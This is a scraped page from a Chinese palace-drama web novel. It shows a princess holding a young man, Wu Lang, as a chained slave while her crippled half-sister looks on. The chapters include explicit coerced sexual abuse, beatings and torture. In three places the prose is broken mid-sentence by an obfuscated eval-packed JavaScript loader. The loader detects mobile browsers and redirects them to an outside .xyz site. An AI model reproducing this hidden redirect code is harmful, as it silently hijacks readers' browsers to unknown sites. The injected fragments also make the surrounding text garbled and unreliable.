即使没有抬头,邬琅也能想象到阿萧看他的眼神,定然充斥着鄙夷和不屑。 薛清芷身边共有十余位面首,这些面首各个出身世家名门,自愿入宫服侍薛清芷,只为能攀上些她和贵妃的关系,往后好搏个好前程。他们向来看不起邬琅,因为—— 面首是面首,狗是狗,尊卑自然分明。 邬琅已经习惯了在他们面前挨罚,起初他还会觉得难堪,日子一长,渐渐便也麻木了。 和活下去相比,这点尊严根本就算不得什么。 可今日不同。 今日……还有旁人在。 那位长公主。 那位,有着观音一样眉眼的长公主。 一想到薛筠意那双清明的眸子或许正凝视着他此刻卑贱的模样,邬琅便觉脸颊燥热,有如火苗在炙烤。 邬琅不知道薛筠意眼中的他是何模样,也不敢去想,只能低垂着眼睫,将所有的注意力都集中在手中的瓷碟上。 葡萄摇摇晃晃,他快要受不住了。 薛筠意停了笔。 砚台里的墨有些干了,落在纸上,显出并不完美的线条。她的心不够静,笔下的轮廓便缺了些往日的沉稳,好在若不细瞧,倒也看不出其中失误。 薛筠意抬起头,目光落在那已在轻轻颤着的少年身上。 碟子里的葡萄依旧是八颗,一颗未少。薛清芷手中的茶却已添了三次。 少年小臂止不住地发颤,鬓边的汗珠早已打湿了碎发,湿漉漉地贴在脸上。 薛筠意眼眸微暗,拦住身旁正欲添墨的墨楹:“我乏了,今日便到这里罢。” 薛清芷诧异地抬眼:“还不到半个时辰,皇姐就乏了?” “我的身子不能久坐。”薛筠意吩咐墨楹将桌上的纸笔收起来,平静道,“明日我会再来。我既答应了妹妹,便会用心作好这幅画,妹妹不必担心。” 薛清芷眯起眼睛:“皇姐如今的身子,是该仔细养着些。青黛,好生送皇姐出去,我宫里的路不好走,皇姐若是一不小心摔了磕了,可就不好了。” “是。” 青黛恭敬应了声,看向薛筠意时,脸上却换了另一副戏谑神情:“长公主,请吧。” 薛筠意将卷起的画纸拿在手里,轻轻地放在腿上。生宣极薄,稍有不慎便会弄出褶痕来,她担心宫人们粗心,所有的画向来都是由她亲自保管。 薄宣是雪色的,和邬琅身上的衣裳是一样的颜色。 经过邬琅身边时,薛筠意想,她既离开了,他应当就不必再跪在那儿受罚了吧。 轮椅远去了。 薛清芷目送着薛筠意的背影消失在寝殿门口,目光一点点地冷下来。她转回脸,瞥了眼邬琅手中端着的葡萄,恹恹皱了眉,抬手示意身旁的几名少年退下。 阿萧还想留下来服侍,薛清芷冷眼扫过去,他只好讷讷地随旁人一同退了出去。 殿中只剩她与邬琅。 她瞧着少年不停发颤的身子,拈起一粒滚圆的葡萄,慢条斯理地放入口中。 吃完后,又拿第二粒。 直到邬琅手中的碟子空了,薛清芷才用帕子擦了擦手,叹息似地说道:“皇姐很是心疼你呢。” 邬琅抖了抖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716020|173712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 薛清芷轻嗤一声,将瓷碟拿走,伸手抚摸着邬琅的脸。指腹上残留着些许葡萄的汁水,潮湿地碾过邬琅干涩的薄唇,她挑了挑眉,少年便乖顺地张了口,将她手上的脏污小心地清理干净。 “生了这么一张招人怜惜的脸,也难怪皇姐心疼。”薛清芷睨着他道。 邬琅动作一僵,抬起沾了薄汗的鸦睫,轻声道:“贱奴是公主的人,心里不敢有旁人。” 这话他曾被逼着说过无数次,重复着、练习着,以最柔顺的语气,来讨好眼前这位无上尊贵的二公主。 可这次薛清芷却倏然冷了脸。 “说谎,你心里根本就没有本宫。” 她用力拽起邬琅颈间的铁链,拖着他大步走向床榻。 薛清芷没有看见,少年膝行过之处,血迹零星,似鲜红口脂。 被褥凌乱,还未收拾。枕头旁还有几件男子的衣裳。薛清芷将那些碍眼的东西踢下床去,命令邬琅跪上来。 不及少年跪稳,她已经不耐烦地扯开了邬琅身上那件薄薄的纱衣,将一个沉重的雕花木盒丢到他面前,冷声道:“自己选一个。” 邬琅认得这木盒。他抿起唇,轻轻地打开盒盖,里头是一排宫匠精心打造的玉势,从左至右,由小至大。 说是让他自己选,但邬琅心知肚明,他根本没有选择的权利。 他垂着眼,捧起最右的那一只,声音低哑地说着被教过许多次的话:“请公主赏赐。” 床帐落了下来。 薛清芷看了眼邬琅布满伤痕的脊背,皱起了眉头。少年浑身上下没几两肉,瘦得一摸就能摸着骨头,唯有那两瓣臀还有几分肉,只是还有些青紫的掌印未消,不大好看。 她竟不知邬琅何时这样瘦了,明明刚把他带回宫中时,手感是恰到好处的柔软,尤其那截细韧的腰,漂亮得不像话。 薛清芷皱着眉,命令邬琅转过身来。 少年已经习惯了玩弄自己来取悦她,细密的汗珠盈蓄在腰窝,她伸手抚过,便如牛乳似的,染在她的手心。 邬琅死死咬着唇,没有发出半分声音。他的身子早就被薛清芷养得熟透了,那些稀奇古怪的药磨成深蓝的汤汁,他被压着浸在里头,只觉肺腑生寒,随后又如吞了火一般地烧沸。 养熟了的身子,只消轻轻一碰,早就是不堪忍受了。 他终于无法承受,抬起湿漉漉的脸庞,声线不稳:“求您……放过贱奴。” 薛清芷啧了声。 即便是做着这样的事,邬琅脸上的神情依旧清冷。 她最喜欢看邬琅这副模样,所以自然不会轻易放过他。 薛清芷没有开口,邬琅便不敢停,他双目失神,修长的脖颈高高扬起,一遍遍将薄唇咬出绯红的血色。 邬琅知道如何做能让薛清芷放过他,可他不想。 可许久后,他终究是又一次地败下阵来—— 最后几分气力用尽,少年如一尾缺水的鱼般瘫软在薛清芷面前,在她戏谑的目光中,认命般地,哑着声求饶。 “主人。” “求您。” 5. 第五章 愉悦从来都不是邬琅能肖想的事。 一遍遍地汹涌,一遍遍地逆流。 而出口早就被堵得严实,绝无半分发泄的可能。 薛清芷轻笑了声,指尖勾住邬琅下颌,迫使他抬起脸来与她对视。 “再叫一声,本宫今日就放过你。” 邬琅沉默了一瞬,那双乌黑潮湿的眸子望着薛清芷,薄唇张了又合,终究是顺了她的意,低唤了声:“主人。” 大约是急于从痛苦中解脱,少年低垂了眼,愈发地温驯。 薛清芷难得有了几分心软,命邬琅将玉势擦干净收起来,然后拍了拍身侧,示意他跪过来伺候。 邬琅听话地照做了,他将铁链的一端递到薛清芷手里,又如往常那般将脸颊送到最方便薛清芷扇打的地方,安静地跪着。 少年很乖,薛清芷暂且还不想打他。 本想好好疼一疼他,可她的手才碰到邬琅,就被那过分清瘦的身子硌疼了手。 薛清芷揪起眉头,瞬间失了兴致,她嫌弃地瞧着邬琅的身体,全然忘了这可怜的少年已经有一天一夜没吃东西了。 邬琅不知道他又做错了什么,只知道薛清芷不高兴了,心头一抖,本能地就要磕头告罪。 薛清芷厌恶地推开他:“一身的血,脏死了。滚下去洗干净,别弄脏了本宫的床。” 少年喏喏地应了声是,小心翼翼地下了床,跪行着退下了。 铁链沉重地拖过地板,那声音令薛清芷莫名有些心烦。她扬声唤宫婢端些茶点进来,没见着青黛的身影,倒是阿萧低着头进了殿,手中捧着食托,上面摆着一盏新沏的翠雪青,并一碟洗好的葡萄。 “公主尝尝这茶,是阿萧亲手沏的。” 阿萧将茶盏递过去,恭敬地侍立在榻前。他来时特意换了身干净的薄衫,衣带半系,赤着半面精壮的胸.膛。若换做往常,薛清芷应当早就扯了那碍眼的带子将他揽到床榻上去了,可今日薛清芷显然兴致缺缺,他费了不少心思沏的茶,她只轻抿了一口,便皱着眉搁在了一旁的矮几上。 “公主心情不好?”阿萧顿了顿,试探着靠近了些,“要不要阿萧服侍您歇息……” 话音未落,便被薛清芷烦躁地打断。 “别来烦本宫。” 阿萧怔了怔,脸色有些不大好看,一众面首里,他向来最得薛清芷宠爱,鲜少有被这般冷待的时候。无意间瞥见枕边半敞着的雕花木盒,阿萧眼眸微暗,他知道,木盒里的物件是专门给邬琅那个下贱东西用的。 阿萧默了默,到底什么都没说,他是得宠,但平日里撒娇使性子,也得看薛清芷心情如何。 深吸一口气,阿萧压下心底的不甘,正欲转身告退,却听薛清芷忽然出声:“等等。” 阿萧心中一喜,连忙停下脚步:“公主有何吩咐?” 余光里,是青花瓷碟里盛着的紫葡萄,薛清芷瞧着,脑海中便不受控制地浮现出邬琅那张清冷的、洇着薄汗的面庞。想起少年瘦得见骨的身子,还有那满身触目惊心的鞭痕,薛清芷揉了揉眉心,语气不耐地吩咐:“去太医院拿些治外伤的药给邬琅,别叫他死了。” 阿萧失望了一瞬,不情不愿地应了声是,他怀着几分希望又等了一会儿,见薛清芷的确没有留下他服侍的意思,才怏怏地退了出去。 殿中静默下来,薛清芷却愈发思绪不宁。 她忽又想起那时薛筠意落在邬琅身上的目光—— 她的皇姐一向心善仁厚,一定很可怜邬琅吧。 想到此处,薛清芷不由冷嗤一声。 这天底下,还没有谁敢拒绝她,当初邬琅不识好歹,竟敢待她那般冷淡,如今这些,只不过是他应该承受的而已。 她是南疆最尊贵的公主,凡是她想要的东西,没有什么是得不到的,即便有,她也有的是法子将人弄到身边来,折碎了一身的骨头,想如何作践玩弄,全凭她的心情。 邬琅是她的东西。 她的东西,薛筠意别想惦记。 包括—— 那皇太女的位子。 * 薛筠意回到青梧宫时,女医孟绛已经候了多时。 宫婢们端来热水,与熬好的药汤一同倒入木桶之中,小心地抬到薛筠意面前。 孟绛弯膝半跪,从随身的药箱里取出一套银针:“臣近日研究了一套施针之法,配合药浴,或许能有些效果。” 薛筠意不置可否,微合了眼闭目养神。 这几月来,凡是太医院能想到的法子,都在她身上一一用了个遍,她心里已经不再抱什么指望,但试一试,总比什么都不做要好。 孟绛小心地将银针扎入穴位之中,悄悄地瞥了薛筠意一眼。少女眼睫轻垂,面容恬淡,感受不到半分银针入穴的疼痛。 孟绛抿起唇,心知这针灸之术大约也是无用,但她总要给薛筠意几分希望才行。 皇后薨逝,已令长公主哀恸不已,若这双腿也无法治愈,她真怕长公主想不开,随皇后一同去了。 孟绛犹豫了下,低声说道:“殿下,臣听闻邬家大公子昨日自水路归京,如今已到邬家府上了。殿下……可要见一见邬公子?或许,他会有法子医好您的腿疾。” 昔年邬夫人一身妙手回春之术,曾令先帝起死回生,邬家也因此功劳得以封侯,从此跻身名门之列,荣华富贵享之不尽。邬夫人虽已仙逝,但她的独子邬寒钰习得了她的本事,这些年在京都遍开医馆,治好了不少疑难困症,邬家名声,更胜从前。 只是除夕过后,邬寒钰便回了滁州为其外祖母诊病,在滁州住了两月有余。瞧着京都开春天暖,这才启程回京。 墨楹闻言,顿时亮了眼睛:“殿下,奴婢这就出宫去请邬公子!” 薛筠意睁开眼:“邬公子刚回京都,一路舟车劳顿,许是要歇一歇。过两日再请他入宫也不迟。” 她已经残废了这么些日子,医不医得好,也不急于这一时。 墨楹只好按捺住心中的激动,“奴婢听您的。” 针灸过后,孟绛便收拾了药箱起身告退。墨楹将薛筠意的腿擦洗干净,又唤了两个做事仔细的宫婢,小心地将薛筠意抬到床榻上,扶着她躺下,为她轻轻按摩起来。 在轮椅上坐得久了,身上的骨头和筋肉,好似也随着那双腿一同死去了。只有勤加揉按,才能勉强让薛筠意的身子稍微舒服一些。 她倚靠在床头,随意翻看着一本厚重的前朝史书,整整一千六百三十七页,她数得清楚,也记得清楚。 困于笼中之人,双眼所见,不过方寸天地,和这几纸寥寥旧字。 或许,她这辈子都只能困在这里了罢。 薛筠意并不相信薛清芷当真会好心地给她解药,答应为她作画,不过是缓兵之计,她只是想看看,薛清芷究竟还想从她身上得到什么。 她已经失了母亲,失了双腿。 早就一无所有了。 史书枯燥乏味,薛筠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716021|173712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意眼皮渐渐沉重起来,不知不觉便靠着软枕睡着了。 她做了个奇怪的梦。梦里,有人捧着一碟子紫葡萄送到她眼前,那葡萄晃呀,晃呀,晃得跌在了地上,骨碌碌地滚出去好远。 她想起身去捡,却一步都挪动不得,只能眼睁睁看着它越滚越远,滚进白茫茫的雪地里,再也瞧不见。 * 翌日。 薛筠意用过早膳,便带上昨日未画完的画,由墨楹推着去了凝华宫。 两个有些脸生的宫女守在寝殿门口,见薛筠意过来,连忙福身行礼:“奴婢见过长公主。二公主正在里头见客,还请您先在外头等一等。” 薛筠意淡声道:“本宫身为长公主,过来探望自己的妹妹,还要在外头等着?” 小宫女慌忙解释:“奴婢不是这个意思,只是、只是二公主今日确实有客人……” “和你们说了多少遍了,对长公主要尊敬些!” 僵持的功夫,青黛从殿内走出来,装模作样地将两个宫女训斥了一番:“长公主和二公主姐妹情深,长公主来这儿便如回家一般,你们两个不知天高地厚的东西,竟敢拦长公主——若叫二公主知道,定然要狠狠地罚你们一顿板子!” 说罢,青黛便含笑转向了薛筠意,躬身道:“真是不巧,今儿邬家大公子入宫探望二公主,这会儿正和二公主说话呢。殿下若不嫌吵闹,便先进去歇一歇,奴婢这就叫人去上些茶点来。” 薛筠意眸中闪过一丝惊诧,没想到她打算见的人,竟会在薛清芷宫中。 轮椅推入殿中,薛筠意远远就看见了邬寒钰的身影。他穿一袭蜀绣青袍,腰系织锦,侧坠香囊白玉,端的是君子翩翩,风流倜傥。 “这些都是我从滁州带回来的,不知公主瞧不瞧得上,还望公主赏脸,留下讨个趣儿。” 邬寒钰将手里捧着的木匣递给一旁的宫女,话里尽是谄媚之意。 薛筠意皱起眉。 眼前的邬寒钰,似乎和她想象中那位誉满杏林、悬壶济世的邬家大公子不大一样。 那宫女得了薛清芷的授意,便上前来,拿走了邬寒钰手中的木匣。 “邬公子,有心了。”薛清芷显然对他奉上的东西没有太多兴趣,只潦草看了一眼,便吩咐宫女收起来。 邬寒钰还站着没有走。 薛清芷的声音便有了几分不悦:“邬公子还有何事?” 邬寒钰搓着手,讪讪道:“我今日入宫,也是奉了家父的意思,听闻前些日子家父把邬琅送到了公主身边给公主解闷,不知他伺候得公主可还舒心?” 薛筠意眉头皱得更深了。 恰这时,轮椅行至内殿门口,倏然一顿,小太监们匆忙上前,将木板垫在高高凸起的门槛上。 离得近了,薛筠意才看见那面绣着盎然春意的屏风旁,少年垂眸跪着,墨发凌乱垂落在肩头,瞧着竟比昨日还要消瘦许多。 邬寒钰还在絮絮叨叨地说着:“邬琅若犯了错,您只管罚他就是,他和他娘一样,生来就是伺候人的贱骨头,不打不听话的。” 说罢,他踢了踢邬琅摇摇欲坠的身子,仿佛为了讨薛清芷欢心似的,逼着邬琅承认:“你自个儿说,是不是?” 指尖掐进手心,薛筠意只觉心里难受得发紧,她眼瞧着那苍白的少年低着头,麻木而顺从地重复着—— “是。” “贱奴生来下贱。” “公主想如何对待贱奴……都可以。” 6. 第六章 “行了。他伺候得如何,与你有何干系。”薛清芷不大高兴地瞥了邬寒钰一眼,“没什么事儿就回你的邬府去,本宫可没闲工夫招待你。” 邬寒钰面色一僵,还想说些什么,却被青黛打断了话头:“公主,长公主到了。” 薛清芷懒散地抬起眼睛:“皇姐来了,先去里头坐吧。本宫换身衣裳就来。” 邬寒钰闻声转过身来,愣了一瞬,才回过神向薛筠意行了礼:“见过长公主。” 宫中这两位公主向来不大对付,在此处遇见长公主,着实让他有些意外。 薛筠意的目光仍落在跪在他身旁的邬琅身上。少年以一种极其标准的跪姿跪着,单薄的膝盖颤抖得厉害,显然体力已经快要到了极限。 墨楹推着轮椅慢慢往前,她便一点点看得更加真切,邬琅白皙修长的脖颈上添了好些醒目的青紫淤痕,只有发狠地用力掐拧,才会留下这般显眼的痕迹。鬓边发丝凌乱,遮不住少年脸上鲜红的巴掌印,红艳艳的,像初绽的蔷薇,带着刺儿,灼着薛筠意的眼睛。 轮椅行至桌前,两扇屏风隔绝了薛筠意的视线。她再看不见邬琅的身影,只能看见桌案上墨楹摆出的各色颜料,青的,紫的,赤红的。 邬寒钰朝屏风的方向瞥了一眼,犹豫半晌,还是压低了声音,讨好地对薛清芷道:“我今日过来,还有一事想求公主。” “有话快说。”薛清芷很是不耐烦。 “邬家承蒙先帝隆恩得以封侯,自是时刻不敢忘先帝恩德。只是家父如今年事已高,这承袭侯位之事,也该定下了。陛下前朝事多,怕是将这事给忘了,可否烦请公主,得闲时在陛下耳边提醒一二。” 按南疆宗律,这侯位本就是父死子继,兄终弟及,只需皇帝一道圣旨,便可世袭罔替。 他如今已经行过及冠礼,皇帝却迟迟未下旨提及让他承继侯位之事,再加之邬家这平康侯之位本就与旁的侯位不同,是先帝破格封赏才得来的,邬寒钰心里放心不下,这才求到了薛清芷面前。 “邬家虽不济,但毕竟帮过公主一点小忙,还望公主看在这点情分上,能行个方便。”邬寒钰端着笑脸。 薛清芷听见这话,倏然变了脸色,猛地坐直了身子,狠狠瞪了他一眼。 青黛轻咳一声提醒:“今日公主忙着,邬公子改日再过来吧。长公主,可还在里头等着呢。” 她有意在“长公主”三个字上加重了语气,邬寒钰自知失言,连忙躬身道歉:“是我叨扰了,那、那我改日再来拜访公主。” 宫人带着邬寒钰退下了。 屏风后静悄悄的,只有零星宣纸翻动的声响。 薛清芷慢慢倚回软榻上。 她想,她没什么好担心的。 即便薛筠意知道那害她双腿尽废的药是邬寒钰献上的又如何?邬家一门心思地讨好她,甚至不惜主动献上邬琅以泄她心头之气,可见对她是忠心耿耿。 邬家是不会把解药给薛筠意的。 一个是死了母后的残废,一个是金枝玉叶、得万般宠爱的安阳公主。 只要邬家稍微聪明些,便该知道选谁。 想到此处,薛清芷彻底放下心来。她一面吩咐青黛去将她要换的衣裳取来,一面心情颇好地对跪在眼前的邬琅勾了勾手指:“过来。” 少年低着头,听话地膝行靠近,薛清芷指尖漫不经心地抚过他颈间那些凌.虐后的淤青,难得语气温柔,似循循善诱:“方才你也听到了。你哥哥,还有邬家……他们早就不要你了。便是本宫把你弄死了,他们也不会在意。” 邬琅沉默着,头埋得更低了。 薛清芷继续道:“所以你只能依附本宫。只要你把本宫伺候高兴了,日子自然好过些。” “是。” 少年哑着声,浓密鸦睫挡住了那双葡萄般的乌眸,让人看不清他眼底的神情。 邬琅从很小的时候就知道邬家人不喜欢他。不,应该说是厌恶。 他自记事起便没见过他的亲娘,是府中的管事婆子将他养大的。婆子告诉他,他的娘亲名唤蓉娘,本是府里的家生奴婢,为了能过上荣华富贵的好日子,竟铤而走险爬了邬老爷子的床,事后还偷偷倒掉了避子汤,这才有了他。 可邬琅知道,不是这样的。 他十岁那年,有曾与蓉娘交好的丫鬟悄悄跑来寻他,抹着泪对他说,蓉娘根本就没有勾引邬老爷子,是邬老爷子看中了蓉娘的美貌,将蓉娘强要了去。事后,邬老爷子敷衍着答应给蓉娘名分,将蓉娘养在府中的偏屋。蓉娘只盼着腹中的孩子日后能得邬老爷子庇佑,过上和她不同的日子,她等啊等,等到肚子一日日地大了起来,没等到名分,却等来了归京的邬夫人。 邬夫人与邬老爷子年少相识,她陪着邬老爷子从寒门书生到九品小官,再到如今的平康侯,一步一步,走得艰辛。她知男人得了富贵便要忘本,因而对他唯一的要求,便是此生不得纳妾,府中不得有庶子。这平康侯的恩典,是她费尽心力得来的,她要她的嫡子承袭侯位,无人与其相争,自是无可厚非。 邬老爷子答应得痛快。可邬夫人前脚才回滁州为祖父侍疾,他后脚就将蓉娘弄到了他床上去。 他自知若没有邬夫人,自己如今还只是个看人眼色唯唯诺诺的小官儿,所以平日里对邬夫人言听计从,百般讨好,他只错了这么一回。只这一回。 为求邬夫人原谅,邬老爷子将错处尽数推到蓉娘身上,只说是贱婢勾引,他一时酒醉才酿成大错。 蓉娘心灰意冷,以性命求得邬夫人允诺,将邬琅养在府中。 一碗毒药下肚,蓉娘流了泪。邬老爷子舍不得蓉娘美貌,竟背着邬夫人,在药性发作之前,还作弄了蓉娘好几回。 后来蓉娘死了。 邬琅便成了邬家口中,那个不要脸的爬床丫鬟的儿子。 除了个邬家二公子的名头,邬琅在府中的日子,过得和最低等的下人并无区别。听闻邬琅惹了薛清芷不高兴,邬老爷子二话不说就将邬琅送进了宫,即便他清楚地知道,这位从未被人拒绝过的二公主,会用怎样可怕的手段来报复邬琅。 那一月于邬琅而言,是真正的人间地狱。 寒冷,滚烫。饥饿,干渴。 血腥味刺鼻,疼痛牵动肺腑,一刻不停地折磨着他。 他奄奄一息地蜷缩在昏暗的刑房里,数不清多少次昏过去,又被冰冷刺骨的凉水泼醒,恍惚睁开眼,便是一截朱红的裙摆,那位尊贵的二公主手执马鞭,笑得阴冷可怖。 “敢拒绝本宫的人,你是头一个。” “也是最后一个。” 起初他也曾挣扎反抗过,趁着那几个看守吃醉了酒,他偷偷逃了出去,可没跑出去多远,就被薛清芷宫中的侍卫抓了回来。 “想跑啊。就那么讨厌本宫吗?” 烛光森冷,映得铁栏生寒。薛清芷唤来侍卫,温声吩咐把他的腿骨打断。 后来他终于认命地,在薛清芷面前低下了头,咬着牙根,弃了一身傲骨,强.逼着自己说出她最想听的那话。 “贱奴心悦公主。” “求公主,允贱奴侍奉。” 他想活下去。 只有活下去,才有希望窥见一丝天光。 “行了,滚去那边跪着吧,别在这儿妨碍本宫。”薛清芷站起身来,由着青黛为她更衣。 邬琅哑着嗓子应了声是,便朝小窗旁摆着的那张红檀方几爬去。他时常被罚去那方几底下跪着,那里既能让薛清芷瞧得清楚,又不会碍着宫婢们做事。 今早晨起时,薛清芷一时兴起命他为她挽发,他从未学过这些,一不小心扯痛了薛清芷,当即便重重挨了两巴掌,又被赶下床榻罚跪三个时辰。 银炉里的香才添了一回。 算起来,还要跪上一个多时辰。若薛清芷不高兴,或许要跪上一整日。 邬琅垂眸盯着膝前的地板,他早已习惯这样的对待,薛清芷说过,他虽冷淡无趣,但好在极能忍痛,倒还勉强有些趣味。 薛清芷换好了衣裳,往屏风后去了。 脚步声远去,邬琅悄悄抬起眼睛,又飞快地低下头。 他暗自庆幸,好在有屏风作挡,那位长公主应当看不到他此刻这低贱的模样。 那双观音般的眼睛,不该看见他这样污秽的东西。 薛筠意已等候了多时。 不过一面屏风之隔,邬寒钰方才所说的话,她字字句句听得清楚。 其实不必邬寒钰亲口道出,他曾帮过薛清芷一点小忙,薛筠意也想得到,那样罕见的奇药,放眼整个南疆,唯有邬家才能研制得出来。 邬家既已选择了凝华宫,必定不会帮她这个失了母后又向来不得皇帝喜欢的长公主,是以,她并未急着让墨楹去请邬寒钰。 今日碰巧在此遇见,她发觉这邬寒钰,似乎并非如人们口中所说的那般,是位风度翩然、温文尔雅的君子。邬琅是他的弟弟,他竟满口粗鄙之言,显然是教训邬琅教训惯了,那样不堪入耳的话,张口便来。 想到少年眉眼低垂薄唇轻抿的模样,薛筠意隐隐有些心疼,看来墨楹所说不错,邬家上下,当真是不把他当人看的。 一阵轻快的脚步声打断了薛筠意的思绪,她抬起眼,便见薛清芷搭着青黛的手款步走了过来,笑盈盈地问她:“皇姐看看,我这身衣裳好不好看?” 那是一套做工繁复的华服,薛筠意只在凤宁宫中见过一身可与其形制相媲美的衣裳,是姜皇后封后大典那日所穿的吉服。 金线流光,绣暗花鸾鸟,织五色雀羽,缀润玉宝珠。 哪能不好看呢。 “这是父皇吩咐织锦局的宫女特意为我的册封大典准备的吉服,费了不少功夫呢。”薛清芷不紧不慢地在椅子上坐下,笑道,“还请皇姐将这吉服的纹样画得仔细些,待册封那日,我可是要拿出来给旁人观赏的。” 薛筠意没说什么,只提了笔去蘸墨碟里调好的朱色。 薛清芷见她不语,却是愈发不饶人,她盯着薛筠意身上霜白的罗裙,不紧不慢道:“皇姐贵为长公主,怎么日日都穿这样素净的衣裳呢?我这儿还有好些没来得及穿的新衣,一会儿让青黛带皇姐去挑几身,皇姐看上哪件,只管带回去就是。” “母后薨逝,我自应为她守孝服丧,以尽孝义。”薛筠意淡声,笔尖稳稳落于纸面,并未因薛清芷的话而分神。 薛清芷道:“这皇后薨逝,算来已有三月,日子也差不多了。眼瞧着便是我册封的好日子了,皇姐整日穿得这般朴素,叫旁人看了去,还以为是皇姐不大高兴我得了封号呢。” 薛筠意手腕微顿,语气仍旧平静:“按南疆宗律,皇后薨逝是为国之大丧,应举国服丧三年。我不过着素衣三月,妹妹也容不得么?” 说是服丧三年,可皇帝不喜皇后,只草草了了皇后丧礼,将棺材葬入皇陵了事。不仅如此,甚至还责令朝中官员不许将皇后薨逝之事传扬出去,违令者杀无赦。宫外百姓只当皇后得了重病,还有不少人自发地去寺庙为皇后敬香祈福。 薛筠意知道,皇帝是不想让皇后的死讯传到她那远在边关的舅舅耳中。 昔年先帝膝下四子,皇帝是最不起眼的那一个,若非姜家相助,这储君之位哪里能轮得到他。是姜家助他成了太子,再将他送上那九五至尊的高位,唯一的要求,便是要他立姜家嫡女姜元若为后。 姜家本就手握重兵,自此更是风光大盛,皇帝心中忌惮,便暗中笼络新臣,以功高震主之嫌为由,命姜家远赴寒州镇守边关,非圣诏不得回京。 薛筠意犹记得那时姜皇后拉着年仅六岁的她站在皇宫门口,看着姜家的车队浩浩荡荡地行过长街,直至变成模糊的黑点,隐没在远方的城门下。 尘土飞扬,迷了她的眼睛。她心里舍不得,便问姜皇后何时才能再见到舅舅,姜皇后没有回答,只是摸了摸她的头,温声说:“若想舅舅,便写信给他罢。” 她的确很想舅舅,可她写往寒州的信,一封一封地送出去,却石沉大海,了无回音。 姜皇后安慰她,舅舅只是太忙了,没空暇理她。她不大高兴地点点头,余光瞥见姜皇后的眼眶,红彤彤的,不知是不是生病了。 后来她长大了些,才知道那不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716022|173712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病,而是哀恸。 她看着皇帝眉目温柔地牵着那位江贵妃的手,看着他将年幼的薛清芷抱在怀里,满眼都是慈爱。 凤宁宫却终年冷寂。 即使是姜皇后病得最重的那段时日,皇帝也仍旧宿在江贵妃的栖霞宫,不曾来看过一眼。 宫人战战兢兢地禀话,说皇后怕是要不好了,才见皇帝沉着脸,自江贵妃的寝殿拂袖而出。 那时姜皇后已经病得说不出话了。皇帝负手立在榻前,冷声问她可还有什么要交代的,薛筠意眼睁睁看着昏睡数日的姜皇后猛然睁开眼睛,眼底猩红,目眦欲裂。 她从未在一向温柔的母后眼中看到这般可怖的神情。 姜皇后颤颤抬起手,薛筠意怔了一瞬,连忙从宫人手中接过纸笔捧到她面前。 姜皇后抓住了那支蘸饱了浓墨的笔。 皇帝皱眉,以为她要写下遗书交代身后事,却见那苍白的纸上,只八个潦草大字—— “宫墙北望,不见寒州。” 薛筠意永远无法忘记那时姜皇后望着皇帝的眼神,她死死抓着笔杆,两行清泪自眼角寂寂流下,啪嗒啪嗒地砸在纸上。 她恨啊。 恨困于这皇城一生,不得夫君恩爱,不得家人团圆。 薛筠意知道舅舅的性子,若母后这些年在宫中的境遇被舅舅知道,他定会率军杀回京都,不惜背上谋逆造反的罪名也要替母后报仇。可姜家离京多年,如今朝中大多是皇帝扶持提拔的新臣,都长着同一张听话的嘴,寒州与京都相隔数千里,只要皇帝下了严令,谁也不敢将这消息传出去半个字。 因着皇帝的命令,除了薛筠意,便是那些曾贴身侍奉过皇后的宫人,也不敢身着缟素为皇后服丧。宫中只当皇后还活着,各处喜庆依旧,唯有凤宁宫中的白梅一夜尽落,铺了满地白绢。 想到此处,薛筠意不由微微握紧了手中的笔。 薛清芷却笑得愈发灿烂:“皇姐这是哪儿的话,皇姐身份何等尊贵,自是想做什么便做什么。我知皇姐孝顺,可皇姐也要待自己好些呀。皇姐这些年未免也太素简了,头上这根玉簪,我记得还是前年皇后娘娘送你的吧?正好父皇前些日子赏了我不少首饰,皇姐挑几样带回去,也算是妹妹劳动皇姐作画的一点心意。” “不必了。我什么都不缺。”薛筠意垂眸,“还请妹妹安静些,莫再多话。” 薛清芷讨了个没趣儿,嘁了声,不情不愿地闭了嘴,没好气地示意一旁的阿萧过来为她揉肩。 薛筠意沉了口气,强迫自己将心神凝聚在眼前的画纸上,不再去想那些悲痛之事,专心作起画来。 一晃便是一个时辰过去。 她搁下笔,揉了揉发酸的手腕,对薛清芷道:“今日先画到这里罢。” 薛清芷本想瞧瞧薛筠意画得如何,可薛筠意已经将画纸卷了起来,生怕旁人碰坏了似的。她只好暂且作罢,起身道:“我送皇姐。” 轮椅转过屏风,薛筠意一抬眸便看见了跪在方几下的邬琅,少年垂着眉眼,单薄的身子微不可察地颤抖着,仿佛风一吹便能吹走了。她眉心微蹙,下意识攥紧了扶手,待离得近了才看清,少年的膝下,竟跪着一对珍珠步摇。 